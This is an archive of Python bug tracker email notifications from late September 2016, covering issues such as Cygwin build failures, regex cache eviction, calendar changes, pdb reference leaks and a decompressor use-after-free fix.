In-Reply-To: <1206756624.13.0.664664048525.issue2504@psf.upfronthosting.co.za>
Message-ID: <1475087600.91.0.790370837358.issue2504@psf.upfronthosting.co.za>


Changes by Leonid Suprun <mr.slay at gmail.com>:


----------
nosy: +Leonid Suprun

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue2504>
_______________________________________

From report at bugs.python.org  Wed Sep 28 14:59:08 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 28 Sep 2016 18:59:08 +0000
Subject: [issue28305] Make error for Python3.6 on Cygwin
In-Reply-To: <1475087482.69.0.357195237112.issue28305@psf.upfronthosting.co.za>
Message-ID: <1475089148.63.0.85182388842.issue28305@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Cygwin is an unsupported platform. It seems like Cygwin broke siginfo_t. The struct must have a si_band member, see http://man7.org/linux/man-pages/man2/rt_sigaction.2.html .

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28305>
_______________________________________

From report at bugs.python.org  Wed Sep 28 15:04:52 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 28 Sep 2016 19:04:52 +0000
Subject: [issue28305] Make error for Python3.6 on Cygwin
In-Reply-To: <1475087482.69.0.357195237112.issue28305@psf.upfronthosting.co.za>
Message-ID: <1475089492.97.0.188666376615.issue28305@psf.upfronthosting.co.za>


Changes by R. David Murray <rdmurray at bitdance.com>:


----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> compile error Python3.3 on Cygwin

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28305>
_______________________________________

From report at bugs.python.org  Wed Sep 28 15:05:20 2016
From: report at bugs.python.org (Antti Haapala)
Date: Wed, 28 Sep 2016 19:05:20 +0000
Subject: [issue2504] Add gettext.pgettext() and variants support
In-Reply-To: <1206756624.13.0.664664048525.issue2504@psf.upfronthosting.co.za>
Message-ID: <1475089520.4.0.123405408031.issue2504@psf.upfronthosting.co.za>


Antti Haapala added the comment:

*wow* isn't this in Python 3 yet (I've been using Zope translationstrings lately so I didn't know that pgettext is still not supported).

----------
nosy: +ztane

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue2504>
_______________________________________

From report at bugs.python.org  Wed Sep 28 15:09:06 2016
From: report at bugs.python.org (Ron Barak)
Date: Wed, 28 Sep 2016 19:09:06 +0000
Subject: [issue28305] Make error for Python3.6 on Cygwin
In-Reply-To: <1475087482.69.0.357195237112.issue28305@psf.upfronthosting.co.za>
Message-ID: <1475089746.45.0.0662796418833.issue28305@psf.upfronthosting.co.za>


Ron Barak added the comment:

Re: Cygwin is an unsupported platform. 

Currently, from the contents of Python-3.6.0b1, one may be led to believe that Cygwin _is_ supported, e.g. - see the references to Cygwin in the README file:

$ grep -i cygwin README
On Unix, Linux, BSD, OSX, and Cygwin:
find out more.  On OSX and Cygwin, the executable is called python.exe;

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28305>
_______________________________________

From report at bugs.python.org  Wed Sep 28 15:13:23 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 28 Sep 2016 19:13:23 +0000
Subject: [issue28305] Make error for Python3.6 on Cygwin
In-Reply-To: <1475087482.69.0.357195237112.issue28305@psf.upfronthosting.co.za>
Message-ID: <1475090003.04.0.718454513612.issue28305@psf.upfronthosting.co.za>


R. David Murray added the comment:

cygwin used to be fully supported, but support broke because there was no one around that was maintaining it.  There has been renewed interest, and some progress toward fixing cygwin support (more help is appreciated), but it cannot be called a supported platform at the moment because there is no maintainer on our team and there is no buildbot.  There are hopes that both of these deficiencies will be remedied.

This issue is a duplicate of issue 21085, and there is a patch in that issue that has not been applied yet.

----------
nosy: +r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28305>
_______________________________________

From report at bugs.python.org  Wed Sep 28 15:16:11 2016
From: report at bugs.python.org (Ned Deily)
Date: Wed, 28 Sep 2016 19:16:11 +0000
Subject: [issue27100] Attempting to use class with both __enter__ & __exit__
 undefined yields __exit__ attribute error
In-Reply-To: <1464060517.76.0.559675330412.issue27100@psf.upfronthosting.co.za>
Message-ID: <1475090171.82.0.124451665555.issue27100@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
stage:  -> patch review
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27100>
_______________________________________

From report at bugs.python.org  Wed Sep 28 15:29:26 2016
From: report at bugs.python.org (Ron Barak)
Date: Wed, 28 Sep 2016 19:29:26 +0000
Subject: [issue28305] Make error for Python3.6 on Cygwin
In-Reply-To: <1475087482.69.0.357195237112.issue28305@psf.upfronthosting.co.za>
Message-ID: <1475090966.97.0.256317741802.issue28305@psf.upfronthosting.co.za>


Ron Barak added the comment:

Can I apply http://bugs.python.org/file44208/3.5-issue21085-struct_siginfo-2.patch to 3.6 as is?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28305>
_______________________________________

From report at bugs.python.org  Wed Sep 28 15:31:13 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 28 Sep 2016 19:31:13 +0000
Subject: [issue28305] Make error for Python3.6 on Cygwin
In-Reply-To: <1475087482.69.0.357195237112.issue28305@psf.upfronthosting.co.za>
Message-ID: <1475091073.93.0.68406914639.issue28305@psf.upfronthosting.co.za>


R. David Murray added the comment:

If you can't please report it on that issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28305>
_______________________________________

From report at bugs.python.org  Wed Sep 28 15:33:50 2016
From: report at bugs.python.org (Viorel Tabara)
Date: Wed, 28 Sep 2016 19:33:50 +0000
Subject: [issue28306] incorrect output "int division or modulo by zero" in
 Handling Exceptions tutorial
Message-ID: <1475091230.17.0.768129423451.issue28306@psf.upfronthosting.co.za>


New submission from Viorel Tabara:

I'm reading the Python 3.5.2 documentation at:
  
   https://docs.python.org/3/tutorial/errors.html#handling-exceptions

which shows the following example:

   >>> def this_fails():
   ...     x = 1/0
   ...
   >>> try:
   ...     this_fails()
   ... except ZeroDivisionError as err:
   ...     print('Handling run-time error:', err)
   ...
   Handling run-time error: int division or modulo by zero 

Running the code as a script produces:

   $ python3 -V
   Python 3.5.2
   $ python3 p.py
   Handling run-time error: division by zero

   $ python2 -V
   Python 2.7.12
   $ python2 p.py
   ('Handling run-time error:', ZeroDivisionError('integer division or modulo by zero',))
   
The same output is listed for 3.6 and 3.7 tutorials but I don't have those 
versions installed on my system.

----------
assignee: docs at python
components: Documentation
messages: 277657
nosy: docs at python, viorel
priority: normal
severity: normal
status: open
title: incorrect output "int division or modulo by zero" in Handling Exceptions tutorial
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28306>
_______________________________________

From report at bugs.python.org  Wed Sep 28 15:35:56 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Wed, 28 Sep 2016 19:35:56 +0000
Subject: [issue8844] Condition.wait() doesn't raise KeyboardInterrupt
In-Reply-To: <1275065292.27.0.238026363438.issue8844@psf.upfronthosting.co.za>
Message-ID: <1475091356.01.0.214849873232.issue8844@psf.upfronthosting.co.za>


Gregory P. Smith added the comment:

As a data point confirming that: we tried backporting the much nicer non-polling condition implementation (https://github.com/python/cpython/commit/15801a1d52c25fa2a19d649ea2671080f138fca1.patch) to our Python 2.7 interpreter at work but ran into actual code that failed as a result of the interruption behavior changing.

While it is a nice goal, it is a non-trivial change.  Not something we could ever do within a stable release (2.7).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue8844>
_______________________________________

From report at bugs.python.org  Wed Sep 28 15:47:51 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 28 Sep 2016 19:47:51 +0000
Subject: [issue28306] incorrect output "int division or modulo by zero" in
 Handling Exceptions tutorial
In-Reply-To: <1475091230.17.0.768129423451.issue28306@psf.upfronthosting.co.za>
Message-ID: <20160928194748.13671.15207.3212AEE6@psf.io>


Roundup Robot added the comment:

New changeset f60396d8f95c by Berker Peksag in branch '3.5':
Issue #28306: Update exception message of ZeroDivisionError
https://hg.python.org/cpython/rev/f60396d8f95c

New changeset e6dcb14829cf by Berker Peksag in branch '3.6':
Issue #28306: Merge from 3.5
https://hg.python.org/cpython/rev/e6dcb14829cf

New changeset ddeeb7d666eb by Berker Peksag in branch 'default':
Issue #28306: Merge from 3.6
https://hg.python.org/cpython/rev/ddeeb7d666eb

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28306>
_______________________________________

From report at bugs.python.org  Wed Sep 28 15:48:38 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 19:48:38 +0000
Subject: [issue28306] incorrect output "int division or modulo by zero" in
 Handling Exceptions tutorial
In-Reply-To: <1475091230.17.0.768129423451.issue28306@psf.upfronthosting.co.za>
Message-ID: <1475092118.52.0.471990052038.issue28306@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Good catch! Thanks for the report.

----------
nosy: +berker.peksag
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28306>
_______________________________________

From report at bugs.python.org  Wed Sep 28 16:21:03 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 28 Sep 2016 20:21:03 +0000
Subject: [issue28281] Remove year limits from calendar
In-Reply-To: <1474922646.39.0.781731359123.issue28281@psf.upfronthosting.co.za>
Message-ID: <1475094063.26.0.802941576665.issue28281@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Okay, if this is specified by ISO 8601 standard, I think we can extend calendar below year 1. But the meaning of non-positive years should be documented. And maybe even provide a way to customize the representation of year (this is a separate issue).

Standard Unix utilities cal and ncal support only years in range 1..9999.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28281>
_______________________________________

From report at bugs.python.org  Wed Sep 28 17:11:08 2016
From: report at bugs.python.org (Mariatta Wijaya)
Date: Wed, 28 Sep 2016 21:11:08 +0000
Subject: [issue28294] HTTPServer server.py assumes sys.stderr != None
In-Reply-To: <1475046504.95.0.666561329413.issue28294@psf.upfronthosting.co.za>
Message-ID: <1475097068.45.0.343360412353.issue28294@psf.upfronthosting.co.za>


Changes by Mariatta Wijaya <mariatta.wijaya at gmail.com>:


----------
nosy: +Mariatta

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28294>
_______________________________________

From report at bugs.python.org  Wed Sep 28 17:12:42 2016
From: report at bugs.python.org (Mariatta Wijaya)
Date: Wed, 28 Sep 2016 21:12:42 +0000
Subject: [issue28210] argparse with subcommands difference in python 2.7 / 3.5
In-Reply-To: <1474361034.47.0.927422929015.issue28210@psf.upfronthosting.co.za>
Message-ID: <1475097162.77.0.699146001264.issue28210@psf.upfronthosting.co.za>


Changes by Mariatta Wijaya <mariatta.wijaya at gmail.com>:


----------
nosy: +Mariatta

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28210>
_______________________________________

From report at bugs.python.org  Wed Sep 28 17:12:54 2016
From: report at bugs.python.org (Mariatta Wijaya)
Date: Wed, 28 Sep 2016 21:12:54 +0000
Subject: [issue9253] argparse: optional subparsers
In-Reply-To: <1279056589.03.0.566167994161.issue9253@psf.upfronthosting.co.za>
Message-ID: <1475097174.33.0.223884023617.issue9253@psf.upfronthosting.co.za>


Changes by Mariatta Wijaya <mariatta.wijaya at gmail.com>:


----------
nosy: +Mariatta

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9253>
_______________________________________

From report at bugs.python.org  Wed Sep 28 17:23:39 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 28 Sep 2016 21:23:39 +0000
Subject: [issue28292] Make Calendar.itermonthdates() behave consistently in
 edge cases
In-Reply-To: <1475031718.56.0.220203946513.issue28292@psf.upfronthosting.co.za>
Message-ID: <1475097819.96.0.0805269734852.issue28292@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

LGTM. Maybe add also itermonthdays4() that yields 4-tuples (year, month, day, day_of_week)? I seen a code that filters out weekends from itermonthdates().

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28292>
_______________________________________

From report at bugs.python.org  Wed Sep 28 17:32:41 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 28 Sep 2016 21:32:41 +0000
Subject: [issue28148] [Patch] Also stop using localtime() in timemodule
In-Reply-To: <1473856529.08.0.0656229512786.issue28148@psf.upfronthosting.co.za>
Message-ID: <20160928213237.85819.15886.D88AA0B2@psf.io>


Roundup Robot added the comment:

New changeset c81b9107ec42 by Alexander Belopolsky in branch '3.6':
Issue #28148: Stop using localtime() and gmtime() in the time module.
https://hg.python.org/cpython/rev/c81b9107ec42

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28148>
_______________________________________

From report at bugs.python.org  Wed Sep 28 17:33:54 2016
From: report at bugs.python.org (Eryk Sun)
Date: Wed, 28 Sep 2016 21:33:54 +0000
Subject: [issue21903] ctypes documentation MessageBoxA example produces error
In-Reply-To: <1404292489.9.0.647841786316.issue21903@psf.upfronthosting.co.za>
Message-ID: <1475098434.25.0.917002233494.issue21903@psf.upfronthosting.co.za>


Eryk Sun added the comment:

The GetWindowRect example seems fine, for the most part. The docs don't have to show it being called. If I were to call it, I'd use GetForegroundWindow to get a window handle. GetActiveWindow returns the active window attached to the current thread's message queue, but a console application probably doesn't own a window. (The console window is owned by conhost.exe.)

A more pressing matter is the GetModuleHandle examples, which need to either be fixed or replaced. GetModuleHandle returns a module's base address, and in a 64-bit process the result could be truncated when returned as the default C int type. GetModuleHandleW.restype has to be set to a pointer type. Setting it to a Python function, such as the ValidHandle example, has the same truncation problem. In general, a ValidHandle checker would have to be implemented as an errcheck function.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21903>
_______________________________________

From report at bugs.python.org  Wed Sep 28 17:40:35 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 28 Sep 2016 21:40:35 +0000
Subject: [issue28148] [Patch] Also stop using localtime() in timemodule
In-Reply-To: <1473856529.08.0.0656229512786.issue28148@psf.upfronthosting.co.za>
Message-ID: <20160928214032.95017.47520.CC61A1EB@psf.io>


Roundup Robot added the comment:

New changeset 3afad465b3e1 by Alexander Belopolsky in branch '3.6':
Issue #28148: Added a NEWS entry.
https://hg.python.org/cpython/rev/3afad465b3e1

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28148>
_______________________________________

From report at bugs.python.org  Wed Sep 28 17:41:54 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 28 Sep 2016 21:41:54 +0000
Subject: [issue28148] [Patch] Also stop using localtime() in timemodule
In-Reply-To: <1473856529.08.0.0656229512786.issue28148@psf.upfronthosting.co.za>
Message-ID: <1475098914.18.0.94461188045.issue28148@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28148>
_______________________________________

From report at bugs.python.org  Wed Sep 28 17:45:27 2016
From: report at bugs.python.org (Spencer Brown)
Date: Wed, 28 Sep 2016 21:45:27 +0000
Subject: [issue27100] Attempting to use class with both __enter__ & __exit__
 undefined yields __exit__ attribute error
In-Reply-To: <1464060517.76.0.559675330412.issue27100@psf.upfronthosting.co.za>
Message-ID: <1475099127.27.0.983043914256.issue27100@psf.upfronthosting.co.za>


Spencer Brown added the comment:

Alternatively, SETUP_WITH could additionally check for the other method, and raise an AttributeError with a custom message mentioning both methods.

----------
nosy: +Spencer Brown

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27100>
_______________________________________

From report at bugs.python.org  Wed Sep 28 17:59:01 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 28 Sep 2016 21:59:01 +0000
Subject: [issue28293] Don't completely dump the regex cache when full
In-Reply-To: <1475038169.86.0.21816130335.issue28293@psf.upfronthosting.co.za>
Message-ID: <1475099941.67.0.507385014787.issue28293@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

It is applied cleanly on the default branch. I don't think there is a need to open a new issue. The last patch implements the original Raymond's intention, but taking into account all comments: drops the oldest item, doesn't depend on implementation details of dict, thread-safe.

----------
resolution: rejected -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28293>
_______________________________________

From report at bugs.python.org  Wed Sep 28 18:05:09 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 28 Sep 2016 22:05:09 +0000
Subject: [issue27845] Optimize update_keyword_args() function
In-Reply-To: <1471988674.88.0.138357624643.issue27845@psf.upfronthosting.co.za>
Message-ID: <1475100309.54.0.803817865613.issue27845@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27845>
_______________________________________

From report at bugs.python.org  Wed Sep 28 18:07:20 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 22:07:20 +0000
Subject: [issue20754] distutils should use SafeConfigParser
In-Reply-To: <1393201670.58.0.749043113933.issue20754@psf.upfronthosting.co.za>
Message-ID: <1475100440.53.0.691534971166.issue20754@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the report, Alex. SafeConfigParser has been renamed to ConfigParser in Python 3.2 and distutils already uses ConfigParser in Python 3:

>From Distribution.parse_config_files():

    ...
    parser = ConfigParser()

For 2.7, can you try it with setuptools? Perhaps we should keep 2.7 as-is and let setuptools do its magic.

----------
nosy: +berker.peksag, jason.coombs
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20754>
_______________________________________

From report at bugs.python.org  Wed Sep 28 18:10:40 2016
From: report at bugs.python.org (Jason R. Coombs)
Date: Wed, 28 Sep 2016 22:10:40 +0000
Subject: [issue20754] distutils should use SafeConfigParser
In-Reply-To: <1393201670.58.0.749043113933.issue20754@psf.upfronthosting.co.za>
Message-ID: <1475100640.52.0.28721903411.issue20754@psf.upfronthosting.co.za>


Jason R. Coombs added the comment:

Do the changes in issue20120 address this concern?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20754>
_______________________________________

From report at bugs.python.org  Wed Sep 28 18:27:03 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 22:27:03 +0000
Subject: [issue22392] Clarify documentation of __getinitargs__
In-Reply-To: <1410461552.96.0.589396040073.issue22392@psf.upfronthosting.co.za>
Message-ID: <1475101623.26.0.736318008038.issue22392@psf.upfronthosting.co.za>


Berker Peksag added the comment:

https://docs.python.org/2/library/pickle.html#object.__getinitargs__ states:

"If it is desirable that the __init__() method be called on unpickling, an old-style class can define a method __getinitargs__(), which should return a tuple containing the arguments to be passed to the class constructor (__init__() for example)."

However, there is no mention that it only accepts positional arguments.

This is a Python 2-only change and the documentation file is located at Doc/library/pickle.rst in 2.7 branch.

----------
keywords: +easy
nosy: +berker.peksag
stage:  -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22392>
_______________________________________

From report at bugs.python.org  Wed Sep 28 18:45:37 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 22:45:37 +0000
Subject: [issue22969] Compile fails with --without-signal-module
In-Reply-To: <1417390062.47.0.624837709681.issue22969@psf.upfronthosting.co.za>
Message-ID: <1475102737.61.0.107064466764.issue22969@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the report, but --with(out)-signal-module option has been removed in d5bb5ad5a108.

----------
nosy: +berker.peksag
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22969>
_______________________________________

From report at bugs.python.org  Wed Sep 28 18:51:43 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 22:51:43 +0000
Subject: [issue23701] Drop extraneous comment from winreg.QueryValue's
 docstring
In-Reply-To: <1426697470.53.0.824194712699.issue23701@psf.upfronthosting.co.za>
Message-ID: <1475103103.71.0.811684279759.issue23701@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the report and for the patch, Claudiu. The part you mentioned has already been removed in 6e613ecd70f0. Here's the current version:

"Values in the registry have name, type, and data components. This method
retrieves the data for a key's first value that has a NULL name.
But since the underlying API call doesn't return the type, you'll
probably be happier using QueryValueEx; this function is just here for
completeness."

----------
nosy: +berker.peksag
resolution:  -> out of date
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23701>
_______________________________________

From report at bugs.python.org  Wed Sep 28 19:01:22 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 23:01:22 +0000
Subject: [issue24274] erroneous comments in dictobject.c
In-Reply-To: <1432442952.38.0.376658937682.issue24274@psf.upfronthosting.co.za>
Message-ID: <1475103682.61.0.509992551998.issue24274@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Comments have been updated by the new dict implementation in 3.6+, but the 3.5 branch still needs to be updated.

----------
nosy: +berker.peksag, inada.naoki
stage:  -> needs patch
type: enhancement -> behavior
versions: +Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24274>
_______________________________________

From report at bugs.python.org  Wed Sep 28 19:24:38 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 23:24:38 +0000
Subject: [issue26224] Add "version added" for documentation of asyncio.timeout
 for documentation of python 3.4, 3.5, 3.6
In-Reply-To: <1453935768.98.0.383268297204.issue26224@psf.upfronthosting.co.za>
Message-ID: <1475105078.06.0.265446215949.issue26224@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the patch. asyncio.timeout() has been removed in 73a28ad66bd9.

----------
nosy: +berker.peksag
resolution:  -> out of date
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26224>
_______________________________________

From report at bugs.python.org  Wed Sep 28 19:24:46 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 23:24:46 +0000
Subject: [issue26224] Add "version added" for documentation of asyncio.timeout
 for documentation of python 3.4, 3.5, 3.6
In-Reply-To: <1453935768.98.0.383268297204.issue26224@psf.upfronthosting.co.za>
Message-ID: <1475105086.86.0.929412742295.issue26224@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26224>
_______________________________________

From report at bugs.python.org  Wed Sep 28 19:30:55 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 28 Sep 2016 23:30:55 +0000
Subject: [issue26550] documentation minor issue : "Step back: WSGI" section
 from "HOWTO Use Python in the web"
In-Reply-To: <1457847869.95.0.52045610793.issue26550@psf.upfronthosting.co.za>
Message-ID: <20160928233051.85654.62336.78BBC64E@psf.io>


Roundup Robot added the comment:

New changeset 522506fcff88 by Berker Peksag in branch '2.7':
Issue #26550: Fix typo in webservers HOWTO
https://hg.python.org/cpython/rev/522506fcff88

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26550>
_______________________________________

From report at bugs.python.org  Wed Sep 28 19:33:09 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 23:33:09 +0000
Subject: [issue26550] documentation minor issue : "Step back: WSGI" section
 from "HOWTO Use Python in the web"
In-Reply-To: <1457847869.95.0.52045610793.issue26550@psf.upfronthosting.co.za>
Message-ID: <1475105589.59.0.968791857558.issue26550@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks, Alejandro. Doc/howto/webservers.rst has been removed in Python 3  so I just fixed 2.7.

----------
nosy: +berker.peksag
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
type: enhancement -> behavior
versions:  -Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26550>
_______________________________________

From report at bugs.python.org  Wed Sep 28 19:34:41 2016
From: report at bugs.python.org (Shaun Walbridge)
Date: Wed, 28 Sep 2016 23:34:41 +0000
Subject: [issue28248] Upgrade installers to OpenSSL 1.0.2j
In-Reply-To: <1474552584.95.0.0318594270303.issue28248@psf.upfronthosting.co.za>
Message-ID: <1475105681.75.0.103416241782.issue28248@psf.upfronthosting.co.za>


Changes by Shaun Walbridge <shaun.walbridge at gmail.com>:


----------
nosy: +scw

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28248>
_______________________________________

From report at bugs.python.org  Wed Sep 28 21:23:00 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 29 Sep 2016 01:23:00 +0000
Subject: [issue28293] Don't completely dump the regex cache when full
In-Reply-To: <1475038169.86.0.21816130335.issue28293@psf.upfronthosting.co.za>
Message-ID: <1475112180.66.0.848909596733.issue28293@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

I would rather not introduce an OrderedDict dependency to the re module while other implementations are using the pure python version or where the OD implementation is in flux.  This is a barely worth it proposal, so we should either make a modest, minimalistic change or just drop it.   Really, its too bad that the regex got contorted in a way that precluded the use of the lru_cache (DEBUG isn't the central feature of regex and is only minimally useful).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28293>
_______________________________________

From report at bugs.python.org  Wed Sep 28 22:16:50 2016
From: report at bugs.python.org (Jack Liu)
Date: Thu, 29 Sep 2016 02:16:50 +0000
Subject: [issue20766] reference leaks in pdb
In-Reply-To: <1393326154.87.0.194575074306.issue20766@psf.upfronthosting.co.za>
Message-ID: <1475115410.22.0.45306118813.issue20766@psf.upfronthosting.co.za>


Jack Liu added the comment:

Will the issue be fixed in Python formal build?
I still meet the same issue with Python 3.5.1. It cost me a bit time to track down this issue.

I'm using pdb to debug a Python script, there are global variables in the script. Duo the leak of sigint_handler, calling gc.collect() doesn't release the global variables until calling PyOS_FiniInterrupts().

----------
nosy: +Jack Liu, draghuram, gregory.p.smith, isandler, r.david.murray
versions: +Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20766>
_______________________________________

From report at bugs.python.org  Wed Sep 28 22:19:07 2016
From: report at bugs.python.org (Jack Liu)
Date: Thu, 29 Sep 2016 02:19:07 +0000
Subject: [issue20766] reference leaks in pdb
In-Reply-To: <1393326154.87.0.194575074306.issue20766@psf.upfronthosting.co.za>
Message-ID: <1475115547.68.0.309109749122.issue20766@psf.upfronthosting.co.za>


Jack Liu added the comment:

Now, I have to set nosigint to True to fix the reference leaks issue for my app.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20766>
_______________________________________

From report at bugs.python.org  Wed Sep 28 22:21:24 2016
From: report at bugs.python.org (Davin Potts)
Date: Thu, 29 Sep 2016 02:21:24 +0000
Subject: [issue27873] multiprocessing.pool.Pool.map should take more than one
 iterable
In-Reply-To: <1472253350.37.0.404019702525.issue27873@psf.upfronthosting.co.za>
Message-ID: <1475115684.06.0.060099782816.issue27873@psf.upfronthosting.co.za>


Davin Potts added the comment:

@naught101: Thanks for the wording change -- I think your suggested doc change will be a good one.  I've added a comment which you can access via the "review" link to the right of the link for your mp.map.starmap.patch attachment.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27873>
_______________________________________

From report at bugs.python.org  Wed Sep 28 22:34:28 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 29 Sep 2016 02:34:28 +0000
Subject: [issue28275] LZMADecompressor.decompress Use After Free
In-Reply-To: <1474864416.3.0.139133662072.issue28275@psf.upfronthosting.co.za>
Message-ID: <1475116468.56.0.00851856762868.issue28275@psf.upfronthosting.co.za>


Martin Panter added the comment:

Here is a patch to fix the corresponding bug in the bzip decompressor. I will try to commit it soon if there are no objections.

For the record, these bugs were introduced with the max_length support in Issue 15955. The bzip code was modelled after the LZMA code.

----------
assignee: serhiy.storchaka -> martin.panter
nosy: +martin.panter
status: closed -> open
Added file: http://bugs.python.org/file44873/bzip-failure.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28275>
_______________________________________

From report at bugs.python.org  Wed Sep 28 23:23:46 2016
From: report at bugs.python.org (INADA Naoki)
Date: Thu, 29 Sep 2016 03:23:46 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1475119426.8.0.769846184557.issue28183@psf.upfronthosting.co.za>


Changes by INADA Naoki <songofacandy at gmail.com>:


Added file: http://bugs.python.org/file44874/dict_iter5.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Thu Sep 29 00:56:26 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 04:56:26 +0000
Subject: [issue28293] Don't completely dump the regex cache when full
In-Reply-To: <1475038169.86.0.21816130335.issue28293@psf.upfronthosting.co.za>
